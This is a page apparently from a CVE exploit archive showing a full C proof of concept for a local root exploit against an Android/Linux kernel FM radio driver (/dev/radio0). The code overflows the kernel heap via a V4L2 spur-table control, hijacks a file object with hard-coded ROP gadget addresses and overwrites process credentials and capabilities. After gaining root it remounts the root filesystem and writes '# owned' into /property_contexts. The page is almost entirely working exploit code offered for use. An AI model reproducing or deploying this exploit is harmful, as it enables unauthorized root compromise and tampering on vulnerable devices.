4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / x.c C
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <fcntl.h> 
#include <sys/types.h>
#include <string.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <errno.h>
#include <sys/capability.h>
#include <linux/videodev2.h>
#include <linux/v4l2-controls.h>

typedef unsigned int kuid_t;
typedef unsigned int kgid_t;
#define atomic_t unsigned int
typedef unsigned long long kernel_cap_t;

struct cred {
    atomic_t    usage;
    /*
    atomic_t    subscribers;
    void        *put_addr;
    unsigned    magic;
    */
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned securebits;
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */

};

enum v4l2_cid_private_iris_t {
	V4L2_CID_PRIVATE_IRIS_SRCHMODE = (0x08000000 + 1),
	V4L2_CID_PRIVATE_IRIS_SCANDWELL,
	V4L2_CID_PRIVATE_IRIS_SRCHON,
	V4L2_CID_PRIVATE_IRIS_STATE,
	V4L2_CID_PRIVATE_IRIS_TRANSMIT_MODE,
	V4L2_CID_PRIVATE_IRIS_RDSGROUP_MASK,
	V4L2_CID_PRIVATE_IRIS_REGION,
	V4L2_CID_PRIVATE_IRIS_SIGNAL_TH,
	V4L2_CID_PRIVATE_IRIS_SRCH_PTY,
	V4L2_CID_PRIVATE_IRIS_SRCH_PI,
	V4L2_CID_PRIVATE_IRIS_SRCH_CNT,
	V4L2_CID_PRIVATE_IRIS_EMPHASIS,
	V4L2_CID_PRIVATE_IRIS_RDS_STD,
	V4L2_CID_PRIVATE_IRIS_SPACING,
	V4L2_CID_PRIVATE_IRIS_RDSON,
	V4L2_CID_PRIVATE_IRIS_RDSGROUP_PROC,
	V4L2_CID_PRIVATE_IRIS_LP_MODE,
	V4L2_CID_PRIVATE_IRIS_ANTENNA,
	V4L2_CID_PRIVATE_IRIS_RDSD_BUF,
	V4L2_CID_PRIVATE_IRIS_PSALL,  /*0x8000014*/

	/*v4l2 Tx controls*/
	V4L2_CID_PRIVATE_IRIS_TX_SETPSREPEATCOUNT,
	V4L2_CID_PRIVATE_IRIS_STOP_RDS_TX_PS_NAME,
	V4L2_CID_PRIVATE_IRIS_STOP_RDS_TX_RT,
	V4L2_CID_PRIVATE_IRIS_IOVERC,
	V4L2_CID_PRIVATE_IRIS_INTDET,
	V4L2_CID_PRIVATE_IRIS_MPX_DCC,
	V4L2_CID_PRIVATE_IRIS_AF_JUMP,
	V4L2_CID_PRIVATE_IRIS_RSSI_DELTA,
	V4L2_CID_PRIVATE_IRIS_HLSI, /*0x800001d*/

	/*Diagnostic commands*/
	V4L2_CID_PRIVATE_IRIS_SOFT_MUTE,
	V4L2_CID_PRIVATE_IRIS_RIVA_ACCS_ADDR,
	V4L2_CID_PRIVATE_IRIS_RIVA_ACCS_LEN,
	V4L2_CID_PRIVATE_IRIS_RIVA_PEEK,
	V4L2_CID_PRIVATE_IRIS_RIVA_POKE,
	V4L2_CID_PRIVATE_IRIS_SSBI_ACCS_ADDR,
	V4L2_CID_PRIVATE_IRIS_SSBI_PEEK,
	V4L2_CID_PRIVATE_IRIS_SSBI_POKE,
	V4L2_CID_PRIVATE_IRIS_TX_TONE,
	V4L2_CID_PRIVATE_IRIS_RDS_GRP_COUNTERS,
	V4L2_CID_PRIVATE_IRIS_SET_NOTCH_FILTER, /* 0x8000028 */
	V4L2_CID_PRIVATE_IRIS_SET_AUDIO_PATH, /* TAVARUA specific command */
	V4L2_CID_PRIVATE_IRIS_DO_CALIBRATION,
	V4L2_CID_PRIVATE_IRIS_SRCH_ALGORITHM, /* TAVARUA specific command */
	V4L2_CID_PRIVATE_IRIS_GET_SINR,
	V4L2_CID_PRIVATE_INTF_LOW_THRESHOLD,
	V4L2_CID_PRIVATE_INTF_HIGH_THRESHOLD,
	V4L2_CID_PRIVATE_SINR_THRESHOLD,
	V4L2_CID_PRIVATE_SINR_SAMPLES,
	V4L2_CID_PRIVATE_SPUR_FREQ,
	V4L2_CID_PRIVATE_SPUR_FREQ_RMSSI,
	V4L2_CID_PRIVATE_SPUR_SELECTION,
	V4L2_CID_PRIVATE_UPDATE_SPUR_TABLE,
	V4L2_CID_PRIVATE_VALID_CHANNEL,
	V4L2_CID_PRIVATE_AF_RMSSI_TH,
	V4L2_CID_PRIVATE_AF_RMSSI_SAMPLES,
	V4L2_CID_PRIVATE_GOOD_CH_RMSSI_TH,
	V4L2_CID_PRIVATE_SRCHALGOTYPE,
	V4L2_CID_PRIVATE_CF0TH12,
	V4L2_CID_PRIVATE_SINRFIRSTSTAGE,
	V4L2_CID_PRIVATE_RMSSIFIRSTSTAGE,
	V4L2_CID_PRIVATE_RXREPEATCOUNT,

	/*using private CIDs under userclass*/
	V4L2_CID_PRIVATE_IRIS_READ_DEFAULT = 0x00980928,
	V4L2_CID_PRIVATE_IRIS_WRITE_DEFAULT,
	V4L2_CID_PRIVATE_IRIS_SET_CALIBRATION,
	V4L2_CID_PRIVATE_IRIS_SET_SPURTABLE = 0x0098092D,
	V4L2_CID_PRIVATE_IRIS_GET_SPUR_TBL  = 0x0098092E,
};

#define RADIO_DEVICE "/dev/radio0"
#define TARGET_FILE "/etc/xtwifi.conf"

#define V4L2_CTRL_ID2CLASS(id)    ((id) & 0x0fff0000UL)

int main() {
    int radio_fd, ret_val;
    struct v4l2_capability radio_caps;
    
    printf("[*] current uid: %d\n", getuid());

    printf("[*] opening %s...\n", RADIO_DEVICE);

    radio_fd = open(RADIO_DEVICE, O_RDWR);
    if(radio_fd < 0) {
        printf("[-] opening Failed: %d\n", radio_fd);
        return -1;
    }
    
    struct v4l2_ext_controls ext_ctrls;
    //struct v4l2_ext_control child_control;

    int i;
    int fds[35];
    printf("[*] attemping to stabilize kernel heap...\n");
    for(i=0; i<35;i++)
        fds[i] = open(TARGET_FILE, O_RDONLY);

    memset(&ext_ctrls, 0 , sizeof(ext_ctrls));

    void *addr;
    addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if ((unsigned long long)addr == -1)
    {
        printf("[-] mmap failed landing page\n");
        exit(1);
    }
    printf("[*] mapped landing page at %p\n", addr);
    memset((unsigned char *)addr, 0, 0x1000);

    unsigned long long *mal_fops;
    mal_fops = (unsigned long long *)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (mal_fops == NULL)
    {
        printf("[-] mmap failed mal_fops\n");
        exit(1);
    }
    printf("[*] malicious fops at %p\n", mal_fops);

    /* set file operations table to an arbitrary write gadget */
    mal_fops[0] = 0;
    for (i=1;i<13;i++) {
       mal_fops[i] = 0xFFFFFFC000223E2C; // str x2, [x1]; ret;
    }

    unsigned char payload[266]; 
    int hijacked_fd;
    unsigned long long *my_file = (unsigned long long *)addr;

    fflush(stdout);
    while (*my_file == 0) {
        memset(payload, 0xff, sizeof(payload));
        payload[0] = 0x3; // mode, doesn't matter
        payload[1] = 0xc; // number of entries, kmalloc(X * 20)

        /* positioned to overwrite the next pointer in the kernel heap */
        ((unsigned long long *)(payload+2))[32] = (unsigned long long)addr;

        ext_ctrls.count = 0x1;
        ext_ctrls.controls = (struct v4l2_ext_control*)malloc(sizeof(struct v4l2_ext_control));

        ext_ctrls.controls[0].id = V4L2_CID_PRIVATE_IRIS_SET_SPURTABLE;
        ext_ctrls.ctrl_class = V4L2_CTRL_ID2CLASS(ext_ctrls.controls[0].id);
        ext_ctrls.controls[0].string = payload;
        ext_ctrls.controls[0].size = sizeof(payload);
        errno = 0;

        printf("[!] attempting overflow...\n");
        ret_val = ioctl(radio_fd, VIDIOC_S_EXT_CTRLS, &ext_ctrls);

        for (i=0; i<15; i++) {
            // DEBUG 
            // printf("[*] allocating file %d\n", i);
            fds[i] = open(TARGET_FILE, O_RDONLY);
            if (*my_file) {
                hijacked_fd = fds[i];
                printf("[+] hijacked file object, correlates to fd %d\n", hijacked_fd);
                fflush(stdout);
                break;
            }
        }
        if (*my_file == 0) { 
            close(fds[0]);
        }
    }

    close(radio_fd);

    printf("[!] overwriting hijacked file struct\n");
    my_file[5] = (unsigned long long)mal_fops;
    struct cred *f_cred = (struct cred *)my_file[14];

    printf("[+] cred pointer: %p\n", f_cred);

    printf("[!] writing over the cred struct\n");
    fflush(stdout);

    /* TODO: possible we can just write over one of
     * these and then call setreuid */

    /* write over f_cred->uid and f_cred->gid*/
    lseek(hijacked_fd, (off_t) &f_cred->uid, 0);
    /* write over f_cred->suid and f_cred->sgid*/
    lseek(hijacked_fd, (off_t) &f_cred->suid, 0);
    /* write over f_cred->euid and f_cred->egid*/
    lseek(hijacked_fd, (off_t) &f_cred->euid, 0);
    /* write over f_cred->fsuid and f_cred->fsgid*/
    lseek(hijacked_fd, (off_t) &f_cred->fsuid, 0);

    /* turn off selinux */
    // lseek(hijacked_fd, (off_t) 0xffffffc0016425b4, 0);

    // set up some nicer primitives
    // for arbitrary read we can leak values through lseek's return code
    // for *nearly* arbitrary write we can use ioctl

    /* owner */ 
    mal_fops[0] = 0;
    for (i=1;i<13;i++) {
       /* everything including ioctl */
       mal_fops[i] = 0xFFFFFFC000227244; // str x1, [x2]; ret
    }
    /* lseek */
    mal_fops[1] = 0xFFFFFFC00027F3B0; // ldr x0, [x1]; ret

    /*
     * arbitrary reads can be done through lseek
    // leaks through lseek's return code
    printf("selinux_enforcing: %llx\n", (unsigned long long) lseek(hijacked_fd, ((off_t) 0xffffffc0016425b4), 1));
    */

    // write over the effective creds
    ioctl(hijacked_fd, -1, (&f_cred->cap_effective));

    if (!getuid()) {
        printf("[+] got root\n");
        
        int sh_fd;
        int bkd_fd;
        size_t rd;

        struct __user_cap_header_struct ch;
        struct __user_cap_data_struct cd;

        memset((char *)&cd, 0x41, sizeof(cd));

        ch.version = 0x20080522;
        ch.pid = getpid();

        if (capget(&ch, &cd) < 0)
        {
            perror("capget");
            return -1;
        }

        if (cd.effective != -1)
        {
            printf("[-] failed to set capabilities\n");
            return -1;
        }

        printf("[!] remounting / as rw\n");
        if (mount("/", "/", "ext4", MS_REMOUNT, "") < 0) {
            perror("mount");
            printf("[-] failed remounting / as rw\n");
        }

        sh_fd = open("/property_contexts", O_WRONLY);
        if (sh_fd < 0) {
            perror("open");
            printf("[-] failed openning target file\n");
        }

        write(sh_fd, "# owned", 7);

        close(sh_fd);

        printf("[*] exploit done\n");
        
    } else {
        printf("[-] failed to get root\n");
    }

    while(1)
        ;

}